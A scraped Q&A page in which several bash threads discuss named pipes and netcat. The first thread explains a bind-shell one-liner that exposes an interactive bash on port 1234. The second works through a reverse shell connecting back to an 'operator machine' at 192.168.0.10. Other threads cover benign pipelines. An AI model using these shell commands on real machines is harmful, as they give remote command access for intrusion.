What is really happening in this bash code that creates a shell with netcat and pipes? - bash

mkfifo /tmp/f ; cat /tmp/f | /bin/bash -i 2>&1 | nc -l -p 1234 > /tmp/f
I am new to bash, I am trying to understand this piece of "code".
Why a while loop is not needed? How can this work? Is it itself a loop? Why? How?
Also, cat filePipe by itself ONLY PRINTS ONE LINE, and then exits (I just tested it), and to make cat not to exit I do: while cat pipeFile ; do : ; done. So how does that above work?
I don't get the order of execution... at the beginning /tmp/f is empty, so cat /tmp/f should "send" an empty stream to /bin/bash which just send it to nc which opens a connection and "sends" the interactive bash to whoever connects... and the response of the client is sent to /tmp/f ... and then? What? How can it can go back and do the same things again?

When bash parses the line mkfifo /tmp/f ; cat /tmp/f | /bin/bash -i 2>&1 | nc -l -p 1234 > /tmp/f, several things happen. First, the fifo is created. Then, in no particular order, 3 things happen: cat is started, bash is started and nc is started with its output stream connected to /tmp/f. cat is now going to block until some other process opens /tmp/f for writing; the nc is about to do that (or already did it, but we don't know if cat will start before nc or if nc starts before cat, nor do we know in which order they will open the fifo, but whoever does it first will block until the other completes the operation). Once all 3 processes start, they will just sit there waiting for some data. Eventually, some external process connects to port 1234 and sends some data into nc, which writes into /tmp/f. cat (eventually) reads that data and sends it downstream to bash, which processes the input and (probably) writes some data into nc, which sends it back across the socket connection.
If you have a test case in which cat /tmp/f only writes one line of data, that is simply because whatever process you used to write into /tmp/f only wrote a single line. Try: printf 'foo\nbar\nbaz\n' > /tmp/f & cat /tmp/f or while sleep 1; do date; done > /tmp/f & cat /tmp/f

/tmp/f is NOT empty, but a fifo, a bi-directional link.
Someone connects to port 1234, type something, which nc will forward to fifo which then feeds into bash.
bash runs the command and sends results back to nc.

.1 You misunderstand what happen when you echo "string" >/path/fifo
.a) When you just echo something >/path/to/somewhere, you
(test accessibility, then) open target somewhere for writting
write someting in openned file descriptor (fd)
close (relax) accessed file.
.b) A fifo (The First In is the First Out.) is not a file.
Try this:
# Window 1:
mkfifo /tmp/fifotest
cat /tmp/fifotest
# Window 2:
exec {fd2fifo}>/tmp/fifotest
echo >&$fd2fifo Foo bar
You will see cat not terminating.
echo >&$fd2fifo Baz
exec {fd2fifo}>&-
Now, cat will close
So there is no need of any loop!
.2 command cat /tmp/f | /bin/bash -i 2>&1 | nc -l -p 1234 > /tmp/f
could be written (avoid useless use of cat):
bash -i 2>&1 </tmp/f | nc -l -p 1234 > /tmp/f
but you could do same operation but from different point of vue:
nc -l -p 1234 </tmp/f | bash -i >/tmp/f 2>&1
The goal is
to drive bash's STDIN from nc's STDOUT and
connect back bash's STDOUT and STDERR to nc's STDIN.
.3 The more: bashism
Under bash, you could avoid creating fifo by using unnamed fifo:
coproc nc -l -p 1234; bash -i >&${COPROC[1]} 2>&1 <&${COPROC[0]}
or
exec {ncin}<> <(:); nc -l -p 1234 <&$ncin | bash -i >&$ncin 2>&1

Related

How do you close netcat connection after receipt of data?

A very simple use of netcat is below:
#!/bin/sh
echo "hello world" > original.txt
base64 original.txt > encoded.txt
cat encoded.txt | nc -l -p 1234 -q 0
#!/bin/sh
nc localhost 1234 -q 0 > received.txt
base64 -d received.txt > decoded.txt
rm received.txt encoded.txt
echo "Sent:"
md5sum original.txt
echo "Received:"
md5sum decoded.txt
rm decoded.txt original.txt
This creates a file, encodes it into base64, sends it over netcat, and then decodes it, finally comparing whether what was sent and what was received is identical using a checksum comparison.
On a Kali Linux machine I was using earlier, the netcat connection closes upon execution of the second script, but trying on Ubuntu at home, this is not the case. I need to manually close the connection with Ctrl+D.
How can I make it such that the connection closes after receiving this data?
I think including the -c flag for nc should do it. Also, are you sure you want to use Bourne shell, and not Bash? I'd suggest changing your shebang to #!/bin/bash

How to redirect command I/O to nc two-way?

I am trying to do something like this on a POSIX compliance way using nc, following the second example given here, it must run on sh (can be tested on dash or busybox' ash, but not on bash).
I have done the following:
# on operator machine
nc -lvp 9999
# on remote machine
out="/tmp/.$$.out"
in="/tmp/.$$.in"
mkfifo "$out" "$in"
trap 'rm "$out" "$in"' EXIT
# nc 192.168.0.10 9999 > "$out" 0< "$in" &
cat "$in" | nc 192.168.0.10 9999 | cat > "$out" &
bash -i > "$in" 2>&1 0< "$out"
I have two questions, please, answer both:
As you can see I have tried to do nc 192.168.0.10 9999 > "$out" 0< "$in" but I do not known why the heck it didn't worked with file redirection, the command freezes, the process isn't even launched, I have tried with pipe on input only and also on output only, but neither way worked. The downside with this cat solution is when you exit the command after connected on operator machine it still keeps the process alive on remote machine, requiring to be killed. I want to know why redirection solution didn't work? And how to solve the exit issue? Even though the cat solution is not the most elegant one, if it manage to work it would be acceptable.
Is there a way to do this two-way I/O redirect using fd instead of mkfifo? For instance, using exec 3> dummy? Remembering it must be POSIX compliance so >(:) is unacceptable.
If the fd solution is possible, it is not required to make the mkfifo solution to work, but I still would be glade to know why the file redirection didn't work.
You're trying to do a reverse-shell? I can't quite tell from the logic.
A few things about fifos - opening a fifo blocks until both sides are opened - i.e. if you open for reading you will get blocked until someone opens it for writing and vice versa.
The reason it won't work with redirection is that the open of the redirection happens in the shell before launching the nc, so as a result until a process opens the write-end of the same fifo, it won't be able to open the read-end of the same fifo. In this case you've got a deadly embrace of blocking:
nc is blocked opening "$out" because nobody's opened it for reading yet.
bash is blocked opening "$in" because nobody's opened it for writing yet.
You can try rearranging the file descriptor opening order:
nc 127.0.0.1 9999 2>&1 > "$out" 0< "$in" &
bash -i 0< "$out" >"$in" 2>&1
i.e. we make sure that the opening of in and out happen in the same order for the commands, which should fix the fifo opening issue.
You don't need to do this with two fifos, you can accomplish it with one using:
ncfifo=/tmp/.$$.nc
mkfifo $ncfifo
cat $ncfifo | bash -i 2>&1 | nc 127.0.0.1 9999 >$ncfifo
As for (2); I don't know - it's not something I've tried to accomplish myself. The reason for using the fifo is that it allows you to wire up two sides of the pipeline together. I can't see any way of accomplishing this without a fifo, although I'm open to being corrected on this.
The nc man page on debian contains the following example, which is for the 'opposite' interpretation:
rm -f /tmp/f; mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc -l 127.0.0.1 1234 > /tmp/f
which is what I've used to do a simpler cat answer; although it seems to work as well omitting the leading cat as:
rm -f /tmp/f; mkfifo /tmp/f
/bin/sh -i </tmp/f 2>&1 | nc -l 127.0.0.1 1234 > /tmp/f

What is the cleanest way to create a non-linear pipeline?

What is the cleanest (simplest, most efficient, shortest, quickest, easiest, most elegant) way to create a non-linear pipeline like this in Bash?
I have three commands: mksock, irclogin, and ircpingpong. I want to pipe stdin, irclogin, and ircpingpong into mksock, and pipe mksock into stdout and ircpingpong. This means that mksock and ircpingpong are in a loop. I drew a diagram:
irclogin only needs to be run once and be the first input into mksock. After that, ircpingpong, and stdin should be accepted at any time. I am currently using pipes and a temporary file like this:
#!/bin/bash
server=127.0.0.1
port=6667
infifo=/tmp/ircin
outfifo=/tmp/ircout
pongfifo=/tmp/ircpong
rm $infifo
rm $outfifo
rm $pongfifo
mkfifo $infifo
mkfifo $outfifo
touch $pongfifo
( irclogin | cat - $infifo & tail -f $pongfifo; ) | mksock $server $port | tee $outfifo | stdbuf -oL ircpingpong > $pongfifo &
cat < $outfifo &
cat > $infifo
pkill tail
This works, but I want to know if there is a better way to do this. It bothers me that I am using a file rather than a pipe for looping back from ircpingpong to mksock using tail. Using a pipe didn't work because, to my understanding, something is written to the pipe before tail -f starts reading from it, and so it misses it.
It also bothers me that I have to kill tail at the end of the script, because it doesn't stop on it's own and would leave the socket connected even after the script has ended.
I can suggest a version without temporary files, and with two fifo-s:
fifo1=/tmp/fifo1
fifo2=/tmp/fifo2
rm $fifo1
rm $fifo2
mkfifo $fifo1
mkfifo $fifo2
ircpingpong < $fifo2 > $fifo1 &
(mksock <$fifo1|tee $fifo2 )&
irclogin >$fifo1 &
cat >$fifo1
The idea is to run all programs separately, and only ensure that input and output of each program is redirected properly according to this diagram:
Of course, ircpingpong must read stdin and write to stdout, irclogin must write to stdout, and mksock must read from stdin and write to stdout.
Here's something that uses just one fifo.
fifo=/tmp/myfifo
rm $fifo
mkfifo $fifo
((ircpingpong < $fifo &) && irclogin && cat) | mksock | tee $fifo
Add stdbuf as needed.
I don't know whether you will get your "something doesn't die on its own" problem; when I ctrl-c'ed the script, everything seemed to die.

Persistent connection in Bash script

I'm trying to create a persistent connection using bash. On terminal 1, I keep a netcat running as a server:
$ nc -vlkp 3000
Listening on [0.0.0.0] (family 0, port 3000)
On terminal 2, I create a fifo and keep a cat:
$ mkfifo fifo
$ cat > fifo
On terminal 3, I make the fifo as an input to a client netcat:
$ cat fifo | nc -v localhost 3000
Connection to localhost 3000 port [tcp/*] succeeded!
On terminal 4, I send whatever I want:
$ echo command1 > fifo
$ echo command2 > fifo
$ echo command3 > fifo
Going back to terminal 1, I see the commands being received:
$ nc -vlkp 3000
Listening on [0.0.0.0] (family 0, port 3000)
Connection from [127.0.0.1] port 3000 [tcp/*] accepted (family 2, sport 41722)
command1
command2
command3
So, everything works. But when I put that in a script (I called that fifo.sh), bash is not able to write into fifo:
On terminal 1, same listening server:
$ nc -vlkp 3000
Listening on [0.0.0.0] (family 0, port 3000)
On terminal 2, I run the script:
#!/bin/bash
rm -f fifo
mkfifo fifo
cat > fifo &
pid1=$!
cat fifo | nc -v localhost 3000 &
pid2=$!
echo sending...
echo comando1 > fifo
echo comando2 > fifo
echo comando3 > fifo
kill -9 $pid1 $pid2
The output in terminal 2 is:
$ ./fifo.sh
Connection to localhost 3000 port [tcp/*] succeeded!
sending...
On terminal 1 I see only the connection. No commands:
$ nc -vlkp 3000
Listening on [0.0.0.0] (family 0, port 3000)
Connection from [127.0.0.1] port 3000 [tcp/*] accepted (family 2, sport 42191)
Connection closed, listening again.
Any idea on why it only works interactively? Or is there any other way to create a persistent connection using only Bash? I don't want to go for Expect because I have a bigger Bash script that does some work after sending the command1, and command2 depends on command1 output, etc.
Thank you!
When a process is started in the background in a script, standard input is redirected from /dev/null. This means the first cat command will read and emit EOF as soon as it executes, which will cause netcat to exit immediately after starting, so the output later in the script will never make it to the fifo, because there isn't an active listener at that time.
In this case, when cat > fifo is evaluated, the shell forks a child process, redirects standard input from /dev/null, and attempts to open fifo for write. The child remains in a blocking open call at this time. Note that cat is not executed until after the open call completes.
Next, cat fifo | nc -v localhost 3000 is spawned. cat opens fifo for read, which allows the blocking open from the first child to complete and the first cat to execute.
The first cat inherits its parent's file descriptors, so its standard input is attached to /dev/null and it thus reads and emits an EOF immediately. The second cat reads the EOF and passes that to the standard input of nc, which causes netcat to exit.
By the time the echo statements are evaluated, the processes identified by $pid1 and $pid2 are finished. Since there is no longer a listener on fifo, the first echo will block forever.
I don't have a pure-shell fix, but you can use an external program like perl to open the placeholder writer to fifo instead of using shell redirection. Aside, please note that there is a race with nc starting after the echo statements (where the kill happens before netcat has a chance to process input/send output), so here I added a delay after the cat | nc expression. There is almost certainly a better solution out there, but here's what I came up with:
#!/bin/bash
rm -f fifo
mkfifo fifo
perl -e 'open(my $fh, ">", "fifo"); sleep 3600 while 1' &
pid1=$!
cat fifo | nc -v localhost 3000 &
pid2=$!
sleep 2
echo sending...
echo comando1 > fifo
echo comando2 > fifo
echo comando3 > fifo
kill -9 $pid1 $pid2
Hope this helps, great question!

Hook all command output within bash

Just for fun I want to pipe all output text in a terminal to espeak. For example, after this is set up I should be able to type echo hi and hear "hi" spoken, or ls and hear my directory contents listed.
The only promising method to capture output I've found so far is from here: http://www.linuxjournal.com/content/bash-redirections-using-exec
This is what I have so far:
npipe=/tmp/$$.tmp
mknod $npipe p
tee /dev/tty <$npipe | espeak &
espeakpid=$!
exec 1>&-
exec 1>$npipe
trap "rm -f $npipe; kill $espeakpid" EXIT
It works (also printing a bunch of "Done" jobs), but creating the named pipe, removing with trap and printing the output with tee all just seems a bit messy. Is there a simpler way?
This is one way:
exec > >(exec tee >(exec xargs -n 1 -d '\n' espeak -- &>/dev/null))
If you want to be able to restore back to original output stream:
exec 3>&1 ## Store original stdout to fd 3.
exec 4> >(exec tee >(exec xargs -n 1 -d '\n' espeak -- &>/dev/null)) ## Open "espeak" as fd 4.
exec >&4 ## Redirect stdout to "espeak".
exec >&3 ## Redirect back to normal.
I use xargs -n 1 because espeak doesn't do anything until EOF is reached so we summon an instance of it per line. This can be customized of course, but there's your answer. And of course a while read loop can also be an option for this.
I also use exec's in process substitution to make sure we get rid of unnecessary subshells.
Seems like it's way easier than that - I just tested this and it works:
$ echo "these are not the droids you are looking for" | espeak --stdin
The --stdin flag is the key. From espeak's man page:
--stdin
Read text input from stdin instead of a file
And if what you want to hear is a very long output, I guess you can use xargs if you run into Argument list too long errors...

Resources